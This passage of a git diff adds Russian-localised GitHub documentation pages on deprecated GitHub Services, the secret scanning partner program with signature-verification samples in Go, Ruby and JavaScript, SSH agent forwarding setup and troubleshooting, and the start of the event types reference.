веб-перехватчики из служб GitHub. Дополнительные сведения см. в [этой записи блога](https://developer.github.com/changes/2018-10-01-denying-new-github-services). + +{% note %} + +В качестве альтернативы службе электронной почты теперь можно начать использовать уведомления по электронной почте для отправки в репозиторий. Сведения о настройке уведомлений по электронной почте о фиксации см. в разделе [Об уведомлениях по электронной почте для отправки в репозиторий](/github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository/). + +{% endnote %} + +## Временная шкала прекращения поддержки + +- **1 октября 2018 г.** : GitHub запретил пользователям устанавливать службы. Мы удалили службы GitHub из пользовательского интерфейса GitHub.com. +- **29 января 2019 г.** : в качестве альтернативы службе электронной почты теперь можно начать использовать уведомления по электронной почте для отправки в репозиторий. Сведения о настройке уведомлений по электронной почте о фиксации см. в разделе [Об уведомлениях по электронной почте для отправки в репозиторий](/github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository/). +- **31 января 2019 г.** : GitHub прекратит доставку событий установленных служб на сайте GitHub.com. + +## Фон служб GitHub + +Службы GitHub (иногда называемые перехватчиками событий) — это устаревший метод интеграции, где GitHub размещал часть служб интегратора через [ `github-services`репозитория](https://github.com/github/github-services). Действия, выполняемые на GitHub, активируют эти службы, которые можно использовать для активации действий за пределами GitHub. + +{% ifversion ghes %} +## Поиск репозиториев, использующих службы GitHub +Мы предоставляем скрипт командной строки, который помогает определить, какие репозитории на устройстве используют службы GitHub. Дополнительные сведения см. в статье [ghe-legacy-github-services-report](/enterprise/{{currentVersion}}/admin/articles/command-line-utilities/#ghe-legacy-github-services-report).{% endif %} + +## Службы GitHub и веб-перехватчики + +Основные различия между службами GitHub и веб-перехватчиками: +- **Конфигурация**. Службы GitHub имеют параметры конфигурации для конкретной службы, а веб-перехватчики просто настраиваются путем указания URL-адреса и набора событий. +- **Пользовательская логика**. Службы GitHub могут иметь пользовательскую логику для реагирования несколькими действиями в рамках обработки одного события, а веб-перехватчики не имеют пользовательской логики. +- **Типы запросов**. Службы GitHub могут выполнять HTTP-запросы и запросы, отличные от HTTP, а веб-перехватчики — только HTTP-запросы. + +## Замена служб веб-перехватчиками + +Чтобы заменить службы GitHub веб-перехватчиками: + +1. Определите соответствующие события веб-перехватчика, на которые необходимо подписаться, из [этого списка](/webhooks/#events). + +2. Измените конфигурацию в зависимости от способа использования служб GitHub: + + - **Приложения GitHub**. Обновите разрешения приложения и подписки на события, чтобы настроить приложение для получения соответствующих событий веб-перехватчика. + - **Приложения OAuth**. Запросите области `repo_hook` и/или `org_hook` для управления соответствующими событиями от имени пользователей. + - **Поставщики служб GitHub**. Попросите пользователей вручную настроить веб-перехватчик с соответствующими событиями, отправленными вам, или воспользоваться этой возможностью для создания приложения для управления данной функцией. Дополнительные сведения см. в разделе [Сведения о приложениях](/apps/about-apps/). + +3. Перемещение дополнительной конфигурации за пределами GitHub. Для некоторых служб GitHub требуется дополнительная настраиваемая конфигурация на странице конфигурации в GitHub. Если служба выполняет это, вам потребуется переместить данную функцию в приложение или использовать приложения GitHub либо OAuth, если это применимо. + +## Установка {% data variables.product.prodname_ghe_server %} + +- **{% data variables.product.prodname_ghe_server %} версии 2.17**: {% data variables.product.prodname_ghe_server %} версии 2.17 и более поздних версий не позволит администраторам устанавливать службы. Администраторы по-прежнему смогут изменять имеющиеся перехватчики событий и получать перехватчики событий в {% data variables.product.prodname_ghe_server %} версий 2.17–2.19. В качестве альтернативы службе электронной почты вы сможете использовать уведомления по электронной почте для отправки в репозиторий в {% data variables.product.prodname_ghe_server %} версии 2.17 и более поздних версий. Дополнительные сведения см. [в этой записи блога](https://developer.github.com/changes/2019-01-29-life-after-github-services). +- **{% data variables.product.prodname_ghe_server %} версии 2.20**: {% data variables.product.prodname_ghe_server %} версии 2.20 и более поздних версий прекратит доставку всех событий установленных служб. + +Выпуск {% data variables.product.prodname_ghe_server %} версии 2.17 будет первым выпуском, который не позволяет администраторам устанавливать службы GitHub. Мы будем поддерживать имеющиеся службы GitHub только до выпуска {% data variables.product.prodname_ghe_server %} версии 2.20. Мы также будем принимать критические исправления для службы GitHub, работающей на {% data variables.product.prodname_ghe_server %}, до 1 октября 2019 г. + +## Миграция с нашей помощью + +Свяжитесь [с нами](https://github.com/contact?form%5Bsubject%5D=GitHub+Services+Deprecation), чтобы задать интересующие вас вопросы. + +Как общий обзор процесс миграции обычно включает в себя: + - определение того, как и где ваш продукт использует службы GitHub; + - определение соответствующих событий веб-перехватчика, которые необходимо настроить, чтобы перейти на обычные веб-перехватчики. + - Реализация структуры с помощью [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/) или [{% data variables.product.prodname_github_apps %}. {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) предпочтительнее. Дополнительные сведения о том, почему {% data variables.product.prodname_github_apps %} предпочтительнее, см. на странице [Причины перехода на {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/#reasons-for-switching-to-github-apps). diff --git a/translations/ru-RU/content/developers/overview/secret-scanning-partner-program.md b/translations/ru-RU/content/developers/overview/secret-scanning-partner-program.md new file mode 100644 index 000000000000..dfbff80a06c1 --- /dev/null +++ b/translations/ru-RU/content/developers/overview/secret-scanning-partner-program.md @@ -0,0 +1,407 @@ +--- +title: Secret scanning partner program +intro: 'As a service provider, you can partner with {% data variables.product.prodname_dotcom %} to have your secret token formats secured through secret scanning, which searches for accidental commits of your secret format and can be sent to a service provider''s verify endpoint.' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /partnerships/token-scanning + - /partnerships/secret-scanning + - /developers/overview/secret-scanning +versions: + fpt: '*' + ghec: '*' +topics: + - API +shortTitle: Secret scanning +--- + +{% data variables.product.prodname_dotcom %} scans repositories for known secret formats to prevent fraudulent use of credentials that were committed accidentally. {% data variables.product.prodname_secret_scanning_caps %} happens by default on public repositories, and can be enabled on private repositories by repository administrators or organization owners. As a service provider, you can partner with {% data variables.product.prodname_dotcom %} so that your secret formats are included in our {% data variables.product.prodname_secret_scanning %}. + +When a match of your secret format is found in a public repository, a payload is sent to an HTTP endpoint of your choice. + +When a match of your secret format is found in a private repository configured for {% data variables.product.prodname_secret_scanning %}, then repository admins and the committer are alerted and can view and manage the {% data variables.product.prodname_secret_scanning %} result on {% data variables.product.prodname_dotcom %}. For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)." + +This article describes how you can partner with {% data variables.product.prodname_dotcom %} as a service provider and join the {% data variables.product.prodname_secret_scanning %} partner program. + +## The {% data variables.product.prodname_secret_scanning %} process + +#### How {% data variables.product.prodname_secret_scanning %} works in a public repository + +The following diagram summarizes the {% data variables.product.prodname_secret_scanning %} process for public repositories, with any matches sent to a service provider's verify endpoint. + +![Flow diagram showing the process of scanning for a secret and sending matches to a service provider's verify endpoint](/assets/images/secret-scanning-flow.png "{% data variables.product.prodname_secret_scanning_caps %} flow") + +## Joining the {% data variables.product.prodname_secret_scanning %} program on {% data variables.product.prodname_dotcom %} + +1. Contact {% data variables.product.prodname_dotcom %} to get the process started. +1. Identify the relevant secrets you want to scan for and create regular expressions to capture them. +1. For secret matches found in public repositories, create a secret alert service which accepts webhooks from {% data variables.product.prodname_dotcom %} that contain the {% data variables.product.prodname_secret_scanning %} message payload. +1. Implement signature verification in your secret alert service. +1. Implement secret revocation and user notification in your secret alert service. +1. Provide feedback for false positives (optional). + +### Contact {% data variables.product.prodname_dotcom %} to get the process started + +To get the enrollment process started, email <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>. + +You will receive details on the {% data variables.product.prodname_secret_scanning %} program, and you will need to agree to {% data variables.product.prodname_dotcom %}'s terms of participation before proceeding. + +### Identify your secrets and create regular expressions + +To scan for your secrets, {% data variables.product.prodname_dotcom %} needs the following pieces of information for each secret that you want included in the {% data variables.product.prodname_secret_scanning %} program: + +* A unique, human readable name for the secret type. We'll use this to generate the `Type` value in the message payload later. +* A regular expression which finds the secret type. Be as precise as possible, because this will reduce the number of false positives. +* The URL of the endpoint that receives messages from {% data variables.product.prodname_dotcom %}. This does not have to be unique for each secret type. + +Send this information to <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>. + +### Create a secret alert service + +Create a public, internet accessible HTTP endpoint at the URL you provided to us. When a match of your regular expression is found in a public repository, {% data variables.product.prodname_dotcom %} will send an HTTP `POST` message to your endpoint. + +#### Example request body + +```json +[ + { + "token":"NMIfyYncKcRALEXAMPLE", + "type":"mycompany_api_token", + "url":"https://github.com/octocat/Hello-World/blob/12345600b9cbe38a219f39a9941c9319b600c002/foo/bar.txt", + "source":"content" + } +] +``` + +The message body is a JSON array that contains one or more objects, with each object representing a single secret match. Your endpoint should be able to handle requests with a large number of matches without timing out. The keys for each secret match are: + +* **token**: The value of the secret match. +* **type**: The unique name you provided to identify your regular expression. +* **url**: The public URL where the match was found (may be empty) +* **source**: Where the token was found on {% data variables.product.prodname_dotcom %}. + +The list of valid values for `source` are: + +* content +* commit +* pull_request_description +* pull_request_comment +* issue_description +* issue_comment +* discussion_body +* discussion_comment +* commit_comment +* gist_content +* gist_comment +* unknown + +### Implement signature verification in your secret alert service + +The HTTP request to your service will also contain headers that we strongly recommend using +to validate the messages you receive are genuinely from {% data variables.product.prodname_dotcom %}, and are not malicious. + +The two HTTP headers to look for are: + +* `GITHUB-PUBLIC-KEY-IDENTIFIER`: Which `key_identifier` to use from our API +* `GITHUB-PUBLIC-KEY-SIGNATURE`: Signature of the payload + +You can retrieve the {% data variables.product.prodname_dotcom %} secret scanning public key from https://api.github.com/meta/public_keys/secret_scanning and validate the message using the `ECDSA-NIST-P256V1-SHA256` algorithm. The endpoint +will provide several `key_identifier` and public keys. You can determine which public +key to use based on the value of `GITHUB-PUBLIC-KEY-IDENTIFIER`. + +{% note %} + +**Note**: When you send a request to the public key endpoint above, you may hit rate limits. To avoid hitting rate limits, you can use a {% data variables.product.pat_v1 %} (no scopes required){% ifversion pat-v2 %} or a {% data variables.product.pat_v2 %} (only the automatic public repositories read access required){% endif %} as suggested in the samples below, or use a conditional request. For more information, see "[Getting started with the REST API](/rest/guides/getting-started-with-the-rest-api#conditional-requests)." + +{% endnote %} + +{% note %} + +**Note**: The signature was generated using the raw message body. So it's important you also use the raw message body for signature validation, instead of parsing and stringifying the JSON, to avoid rearranging the message or changing spacing. + +{% endnote %} + +**Sample HTTP POST sent to verify endpoint** + +```http +POST / HTTP/2 +Host: HOST +Accept: */* +content-type: application/json +GITHUB-PUBLIC-KEY-IDENTIFIER: f9525bf080f75b3506ca1ead061add62b8633a346606dc5fe544e29231c6ee0d +GITHUB-PUBLIC-KEY-SIGNATURE: MEUCIFLZzeK++IhS+y276SRk2Pe5LfDrfvTXu6iwKKcFGCrvAiEAhHN2kDOhy2I6eGkOFmxNkOJ+L2y8oQ9A2T9GGJo6WJY= +Content-Length: 83 + +[{"token":"some_token","type":"some_type","url":"some_url","source":"some_source"}] +``` + +{% note %} + +**Note**: The key id and signature from the example payload is derived from a test key. +The public key for them is: + +``` +-----BEGIN PUBLIC KEY----- +MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEsz9ugWDj5jK5ELBK42ynytbo38gP +HzZFI03Exwz8Lh/tCfL3YxwMdLjB+bMznsanlhK0RwcGP3IDb34kQDIo3Q== +-----END PUBLIC KEY----- +``` + +{% endnote %} + +The following code snippets demonstrate how you could perform signature validation. +The code examples assume you've set an environment variable called `GITHUB_PRODUCTION_TOKEN` with a generated [{% data variables.product.pat_generic %}](https://github.com/settings/tokens) to avoid hitting rate limits. The {% data variables.product.pat_generic %} does not need any scopes/permissions. + +**Validation sample in Go** +```golang +package main + +import ( + "crypto/ecdsa" + "crypto/sha256" + "crypto/x509" + "encoding/asn1" + "encoding/base64" + "encoding/json" + "encoding/pem" + "errors" + "fmt" + "math/big" + "net/http" + "os" +) + +func main() { + payload := `[{"token":"some_token","type":"some_type","url":"some_url","source":"some_source"}]` + + kID := "f9525bf080f75b3506ca1ead061add62b8633a346606dc5fe544e29231c6ee0d" + + kSig := "MEUCIFLZzeK++IhS+y276SRk2Pe5LfDrfvTXu6iwKKcFGCrvAiEAhHN2kDOhy2I6eGkOFmxNkOJ+L2y8oQ9A2T9GGJo6WJY=" + + // Fetch the list of GitHub Public Keys + req, err := http.NewRequest("GET", "https://api.github.com/meta/public_keys/secret_scanning", nil) + if err != nil { + fmt.Printf("Error preparing request: %s\n", err) + os.Exit(1) + } + + if len(os.Getenv("GITHUB_PRODUCTION_TOKEN")) == 0 { + fmt.Println("Need to define environment variable GITHUB_PRODUCTION_TOKEN") + os.Exit(1) + } + + req.Header.Add("Authorization", "Bearer "+os.Getenv("GITHUB_PRODUCTION_TOKEN")) + + resp, err := http.DefaultClient.Do(req) + if err != nil { + fmt.Printf("Error requesting GitHub signing keys: %s\n", err) + os.Exit(2) + } + + decoder := json.NewDecoder(resp.Body) + var keys GitHubSigningKeys + if err := decoder.Decode(&keys); err != nil { + fmt.Printf("Error decoding GitHub signing key request: %s\n", err) + os.Exit(3) + } + + // Find the Key used to sign our webhook + pubKey, err := func() (string, error) { + for _, v := range keys.PublicKeys { + if v.KeyIdentifier == kID { + return v.Key, nil + + } + } + return "", errors.New("specified key was not found in GitHub key list") + }() + + if err != nil { + fmt.Printf("Error finding GitHub signing key: %s\n", err) + os.Exit(4) + } + + // Decode the Public Key + block, _ := pem.Decode([]byte(pubKey)) + if block == nil { + fmt.Println("Error parsing PEM block with GitHub public key") + os.Exit(5) + } + + // Create our ECDSA Public Key + key, err := x509.ParsePKIXPublicKey(block.Bytes) + if err != nil { + fmt.Printf("Error parsing DER encoded public key: %s\n", err) + os.Exit(6) + } + + // Because of documentation, we know it's a *ecdsa.PublicKey + ecdsaKey, ok := key.(*ecdsa.PublicKey) + if !ok { + fmt.Println("GitHub key was not ECDSA, what are they doing?!") + os.Exit(7) + } + + // Parse the Webhook Signature + parsedSig := asn1Signature{} + asnSig, err := base64.StdEncoding.DecodeString(kSig) + if err != nil { + fmt.Printf("unable to base64 decode signature: %s\n", err) + os.Exit(8) + } + rest, err := asn1.Unmarshal(asnSig, &parsedSig) + if err != nil || len(rest) != 0 { + fmt.Printf("Error unmarshalling asn.1 signature: %s\n", err) + os.Exit(9) + } + + // Verify the SHA256 encoded payload against the signature with GitHub's Key + digest := sha256.Sum256([]byte(payload)) + keyOk := ecdsa.Verify(ecdsaKey, digest[:], parsedSig.R, parsedSig.S) + + if keyOk { + fmt.Println("THE PAYLOAD IS GOOD!!") + } else { + fmt.Println("the payload is invalid :(") + os.Exit(10) + } +} + +type GitHubSigningKeys struct { + PublicKeys []struct { + KeyIdentifier string `json:"key_identifier"` + Key string `json:"key"` + IsCurrent bool `json:"is_current"` + } `json:"public_keys"` +} + +// asn1Signature is a struct for ASN.1 serializing/parsing signatures. +type asn1Signature struct { + R *big.Int + S *big.Int +} +``` + +**Validation sample in Ruby** +```ruby +require 'openssl' +require 'net/http' +require 'uri' +require 'json' +require 'base64' + +payload = <<-EOL +[{"token":"some_token","type":"some_type","url":"some_url","source":"some_source"}] +EOL + +payload = payload + +signature = "MEUCIFLZzeK++IhS+y276SRk2Pe5LfDrfvTXu6iwKKcFGCrvAiEAhHN2kDOhy2I6eGkOFmxNkOJ+L2y8oQ9A2T9GGJo6WJY=" + +key_id = "f9525bf080f75b3506ca1ead061add62b8633a346606dc5fe544e29231c6ee0d" + +url = URI.parse('https://api.github.com/meta/public_keys/secret_scanning') + +raise "Need to define GITHUB_PRODUCTION_TOKEN environment variable" unless ENV['GITHUB_PRODUCTION_TOKEN'] +request = Net::HTTP::Get.new(url.path) +request['Authorization'] = "Bearer #{ENV['GITHUB_PRODUCTION_TOKEN']}" + +http = Net::HTTP.new(url.host, url.port) +http.use_ssl = (url.scheme == "https") + +response = http.request(request) + +parsed_response = JSON.parse(response.body) + +current_key_object = parsed_response["public_keys"].find { |key| key["key_identifier"] == key_id } + +current_key = current_key_object["key"] + +openssl_key = OpenSSL::PKey::EC.new(current_key) + +puts openssl_key.verify(OpenSSL::Digest::SHA256.new, Base64.decode64(signature), payload.chomp) +``` + +**Validation sample in JavaScript** +```js +const crypto = require("crypto"); +const axios = require("axios"); + +const GITHUB_KEYS_URI = "https://api.github.com/meta/public_keys/secret_scanning"; + +/** + * Verify a payload and signature against a public key + * @param {String} payload the value to verify + * @param {String} signature the expected value + * @param {String} keyID the id of the key used to generated the signature + * @return {void} throws if the signature is invalid + */ +const verify_signature = async (payload, signature, keyID) => { + if (typeof payload !== "string" || payload.length === 0) { + throw new Error("Invalid payload"); + } + if (typeof signature !== "string" || signature.length === 0) { + throw new Error("Invalid signature"); + } + if (typeof keyID !== "string" || keyID.length === 0) { + throw new Error("Invalid keyID"); + } + + const keys = (await axios.get(GITHUB_KEYS_URI)).data; + if (!(keys?.public_keys instanceof Array) || keys.length === 0) { + throw new Error("No public keys found"); + } + + const publicKey = keys.public_keys.find((k) => k.key_identifier === keyID) ?? null; + if (publicKey === null) { + throw new Error("No public key found matching key identifier"); + } + + const verify = crypto.createVerify("SHA256").update(payload); + if (!verify.verify(publicKey.key, Buffer.from(signature, "base64"), "base64")) { + throw new Error("Signature does not match payload"); + } +}; +``` + +### Implement secret revocation and user notification in your secret alert service + +For {% data variables.product.prodname_secret_scanning %} in public repositories, you can enhance your secret alert service to revoke the exposed secrets and notify the affected users. How you implement this in your secret alert service is up to you, but we recommend considering any secrets that {% data variables.product.prodname_dotcom %} sends you messages about as public and compromised. + +### Provide feedback for false positives + +We collect feedback on the validity of the detected individual secrets in partner responses. If you wish to take part, email us at <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>. + +When we report secrets to you, we send a JSON array with each element containing the token, type identifier, and commit URL. When you send us feedback, you send us information about whether the detected token was a real or false credential. We accept feedback in the following formats. + +You can send us the raw token: + +``` +[ + { + "token_raw": "The raw token", + "token_type": "ACompany_API_token", + "label": "true_positive" + } +] +``` +You may also provide the token in hashed form after performing a one way cryptographic hash of the raw token using SHA-256: + +``` +[ + { + "token_hash": "The SHA-256 hashed form of the raw token", + "token_type": "ACompany_API_token", + "label": "false_positive" + } +] +``` +A few important points: +- You should only send us either the raw form of the token ("token_raw"), or the hashed form ("token_hash"), but not both. +- For the hashed form of the raw token, you can only use SHA-256 to hash the token, not any other hashing algorithm. +- The label indicates whether the token is a true ("true_positive") or a false positive ("false_positive"). Only these two lowercased literal strings are allowed. + +{% note %} + +**Note:** Our request timeout is set to be higher (that is, 30 seconds) for partners who provide data about false positives. If you require a timeout higher than 30 seconds, email us at <a href="mailto:secret-scanning@github.com">secret-scanning@github.com</a>. + +{% endnote %} diff --git a/translations/ru-RU/content/developers/overview/using-ssh-agent-forwarding.md b/translations/ru-RU/content/developers/overview/using-ssh-agent-forwarding.md new file mode 100644 index 000000000000..5a788f447952 --- /dev/null +++ b/translations/ru-RU/content/developers/overview/using-ssh-agent-forwarding.md @@ -0,0 +1,171 @@ +--- +title: Использование пересылки с SSH-агентом +intro: 'Чтобы упростить развертывание на сервере, вы можете настроить перенаправление агента SSH для безопасного использования локальных ключей SSH.' +redirect_from: + - /guides/using-ssh-agent-forwarding + - /v3/guides/using-ssh-agent-forwarding + - /articles/using-ssh-agent-forwarding +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +shortTitle: SSH agent forwarding +ms.openlocfilehash: b6d812bcaf979980233f99c5f614f480883375cc +ms.sourcegitcommit: 248e974c64f2439c6756a2c644ec77a98b8d3ecd +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/13/2022 +ms.locfileid: '148045363' +--- +Пересылку с SSH-агентом можно использовать для более удобного развертывания на сервере. Она позволяет использовать локальные ключи SSH, не оставляя ключи (без парольных фраз) на вашем сервере. + +Если вы уже настроили ключ SSH для взаимодействия с {% data variables.product.product_name %}, то наверняка знакомы с `ssh-agent`. Это программа, которая выполняется в фоновом режиме и хранит ключ в памяти, благодаря чему не нужно вводить парольную фразу при каждом использовании ключа. Вы можете разрешить серверам доступ к локальному `ssh-agent`, как если бы они уже работали на сервере. Это словно попросить друга ввести пароль, чтобы вы могли использовать его компьютер. + +Дополнительные сведения о пересылки с SSH-агентом см. в [руководстве Стива Фридла][tech-tips]. + +## Настройка пересылки с SSH-агентом + +Убедитесь, что ваш собственный ключ SSH настроен и работает. Если вы еще не создали ключ SSH, можете воспользоваться [нашим руководством][generating-keys]. + +Вы можете проверить, работает ли локальный ключ, введя `ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}` в терминале: + +```shell +$ ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %} +# Attempt to SSH in to github +> Hi USERNAME! You've successfully authenticated, but GitHub does not provide +> shell access. +``` + +Отличное начало. Давайте настроим SSH, чтобы разрешить пересылку на сервер с использованием агента. + +1. Откройте файл в папке `~/.ssh/config` в предпочитаемом текстовом редакторе. Если этот файл не существует, вы можете создать его, введя команду `touch ~/.ssh/config` в терминале. + +2. Введите в файл следующий текст, заменив `example.com` доменным именем или IP-адресом сервера: + + Host example.com + ForwardAgent yes + +{% warning %} + +**Внимание!** У вас может возникнуть желание использовать подстановочный знак, например `Host *`, чтобы просто применить этот параметр ко всем SSH-подключениям. Это не очень хорошая идея, так как тогда вы будете делиться своими локальными ключами SSH с *каждым* сервером, в который вы входите с помощью SSH. У них не будет прямого доступа к ключам, но они смогут использовать их *от вашего имени* при установке подключения. **Добавляйте только те серверы, которым вы доверяете, и которые планируете использовать с функцией пересылки с использованием агента.** + +{% endwarning %} + +## Проверка пересылки с SSH-агентом + +Чтобы проверить, что пересылка работает с сервером, можете выполнить вход с помощью SSH на сервер и запустить `ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}` еще раз. Если все хорошо, появится та же подсказка, что и в локальной среде. + +Если вы не уверены, используется ли локальный ключ, можете также проверить переменную `SSH_AUTH_SOCK` на сервере: + +```shell +$ echo "$SSH_AUTH_SOCK" +# Print out the SSH_AUTH_SOCK variable +> /tmp/ssh-4hNGMk8AZX/agent.79453 +``` + +Если переменная не задана, это означает, что пересылка с использованием агента не работает: + +```shell +$ echo "$SSH_AUTH_SOCK" +# Print out the SSH_AUTH_SOCK variable +> [No output] +$ ssh -T git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %} +# Try to SSH to github +> Permission denied (publickey). +``` + +## Устранение неполадок с пересылкой с использованием SSH-агента + +Ниже приведены некоторые аспекты, которые следует учитывать при устранении неполадок при пересылке с использованием агента SSH. + +### Для извлечения кода необходимо использовать URL-адрес SSH. + +Пересылка SSH работает только с URL-адресами SSH, а не с URL-адресами HTTP. Проверьте файл на сервере `.git/config` и убедитесь, что URL-адрес является URL-адресом в стиле SSH, как показано ниже. + +```shell +[remote "origin"] + url = git@{% ifversion ghes or ghae %}hostname{% else %}github.com{% endif %}:YOUR_ACCOUNT/YOUR_PROJECT.git + fetch = +refs/heads/*:refs/remotes/origin/* +``` + +### Ключи SSH должны работать локально + +Прежде чем настраивать пересылку с использованием агента, убедитесь, что ключи работают локально. [Наше руководство по созданию ключей SSH][generating-keys] поможет вам настроить ключи SSH в локальной среде. + +### Система должна разрешать пересылку с использованием SSH-агента + +В некоторых случаях конфигурация системы запрещает пересылку с использованием SSH-агента. Чтобы проверить, используется ли файл конфигурации системы, введите следующую команду в терминале: + +```shell +$ ssh -v URL +# Connect to the specified URL with verbose debug output +> OpenSSH_8.1p1, LibreSSL 2.7.3</span> +> debug1: Reading configuration data /Users/YOU/.ssh/config +> debug1: Applying options for example.com +> debug1: Reading configuration data /etc/ssh_config +> debug1: Applying options for * +$ exit +# Returns to your local command prompt +``` + +В приведенном выше примере сначала загружается файл `~/.ssh/config`, а затем считывается `/etc/ssh_config`. Мы можем проверить этот файл, чтобы узнать, переопределяет ли он заданные вами параметры, выполнив следующие команды: + +```shell +$ cat /etc/ssh_config +# Print out the /etc/ssh_config file +> Host * +> SendEnv LANG LC_* +> ForwardAgent no +``` + +В этом примере в файле `/etc/ssh_config` указывается `ForwardAgent no`, что является способом блокировки пересылки с использованием агента. После удаления этой строки из файла эта функция должна заработать. + +### Сервер должен разрешить пересылку с использованием агента SSH для входящих подключениях + +Пересылка с использованием агента также может быть заблокирована на сервере. Вы можете проверить, разрешена ли пересылка с использованием агента, подключившись по протоколу SSH к серверу и выполнив `sshd_config`. Выходные данные этой команды должны указывать на то, что `AllowAgentForwarding` задано. + +### Локальный `ssh-agent` должен работать + +На большинстве компьютеров операционная система автоматически запускает `ssh-agent`. Однако на Windows это необходимо сделать вручную. У нас есть [руководство по запуску `ssh-agent` при открытии Git Bash][autolaunch-ssh-agent]. + +Чтобы убедиться, что `ssh-agent` работает на вашем компьютере, введите следующую команду в терминале: + +```shell +$ echo "$SSH_AUTH_SOCK" +# Print out the SSH_AUTH_SOCK variable +> /tmp/launch-kNSlgU/Listeners +``` + +### Ключ должен быть доступен для `ssh-agent` + +Чтобы убедиться, что ключ виден `ssh-agent`, выполните следующую команду: + +```shell +ssh-add -L +``` + +Если в выходных данных команды указано, что удостоверение недоступно, добавитье ключ: + +```shell +$ ssh-add YOUR-KEY +``` + +{% tip %} + +На macOS `ssh-agent` "забудет" этот ключ при повторном запуске после перезагрузки, но вы можете импортировать ключи SSH в цепочку ключей с помощью следующей команды: + +```shell +$ ssh-add --apple-use-keychain YOUR-KEY +``` + +Для версий MacOS до Монтерей (12.0) используйте `-K` вместо `--apple-use-keychain`. Дополнительные сведения см. в разделе [Добавление ключа SSH в ssh-agent](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent). + +{% endtip %} + +[tech-tips]: http://www.unixwiz.net/techtips/ssh-agent-forwarding.html +[generating-keys]: /articles/generating-ssh-keys +[ssh-passphrases]: /ssh-key-passphrases/ +[autolaunch-ssh-agent]: /github/authenticating-to-github/working-with-ssh-key-passphrases#auto-launching-ssh-agent-on-git-for-windows diff --git a/translations/ru-RU/content/developers/webhooks-and-events/events/github-event-types.md b/translations/ru-RU/content/developers/webhooks-and-events/events/github-event-types.md new file mode 100644 index 000000000000..a3f2b3f16d76 --- /dev/null +++ b/translations/ru-RU/content/developers/webhooks-and-events/events/github-event-types.md @@ -0,0 +1,281 @@ +--- +title: Типы событий GitHub +intro: 'Для API событий {% data variables.product.prodname_dotcom %} узнайте о каждом типе события, активируя действие в {% data variables.product.prodname_dotcom %}, а также уникальные свойства каждого события.' +redirect_from: + - /v3/activity/event_types + - /developers/webhooks-and-events/github-event-types +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Events +ms.openlocfilehash: 0cd519f6dcf84fc5edd6356f1f734d23030a6711 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146064246' +--- +API событий может возвращать различные типы событий, инициируемые действием в GitHub. Каждый ответ события содержит общие свойства, но имеет уникальный объект `payload`, определенный его типом события. В разделе [Общие свойства объекта событий](#event-object-common-properties) описываются свойства, общие для всех событий, а каждый тип события описывает свойства `payload`, уникальные для конкретного события. + +{% ifversion fpt or ghec %} + +{% endif %} + +## Общие свойства объекта события + +Объекты событий, возвращаемые конечными точками API событий, имеют одинаковую структуру. + +| Имя атрибута API событий | Описание | +|--------------------------|-------------| +| `id` | Уникальный идентификатор события. | +| `type` | Тип события. События используют PascalCase для имени. | +| `actor` | Пользователь, который активировал событие. | +| `actor.id` | Уникальный идентификатор субъекта. | +| `actor.login` | Имя пользователя субъекта. | +| `actor.display_login` | Конкретный формат отображения имени пользователя. | +| `actor.gravatar_id` | Уникальный идентификатор профиля Gravatar для субъекта. | +| `actor.url` | URL-адрес REST API, используемый для получения объекта пользователя, который содержит дополнительные сведения о пользователе. | +| `actor.avatar_url` | URL-адрес изображения профиля субъекта. | +| `repo` | Объект репозитория, в котором произошло событие. | +| `repo.id` | Уникальный идентификатор репозитория. | +| `repo.name` | Имя репозитория, включающее имя владельца и репозитория. Например, `octocat/hello-world` — это имя репозитория `hello-world`, принадлежащего личной учетной записи `octocat`. | +| `repo.url` | URL-адрес REST API, используемый для получения объекта репозитория, который содержит дополнительные сведения о репозитории. | +| `payload` | Объект полезных данных события уникален для каждого типа события. См. тип события ниже для объекта `payload` API событий. | +| `public` | Отображается ли событие для всех пользователей. | +| `created_at` | Дата и время активации события. В формате по стандарту ISO 8601. | +| `org` | Организация, выбранная субъектом для выполнения действия, которое активировало событие.<br />_Свойство отображается в объекте события только в том случае, если это применимо._ | +| `org.id` | Уникальный идентификатор для организации. | +| `org.login` | Название организации. | +| `org.gravatar_id` | Уникальный идентификатор профиля Gravatar для организации. | +| `org.url` | URL-адрес REST API, используемый для получения объекта организации, который содержит дополнительные сведения об организации. | +| `org.avatar_url` | URL-адрес изображения профиля организации. | + +### Пример объекта события WatchEvent + +В этом примере показан формат ответа [WatchEvent](#watchevent) при использовании [API событий](/rest/reference/activity#events). + +``` +HTTP/2 200 +Link: <https://api.github.com/resource?page=2>; rel="next", + <https://api.github.com/resource?page=5>; rel="last" +``` +```json +[ + { + "type": "WatchEvent", + "public": false, + "payload": { + }, + "repo": { + "id": 3, + "name": "octocat/Hello-World", + "url": "https://api.github.com/repos/octocat/Hello-World" + }, + "actor": { + "id": 1, + "login": "octocat", + "gravatar_id": "", + "avatar_url": "https://github.com/images/error/octocat_happy.gif", + "url": "https://api.github.com/users/octocat" + }, + "org": { + "id": 1, + "login": "github", + "gravatar_id": "", + "url": "https://api.github.com/orgs/github", + "avatar_url": 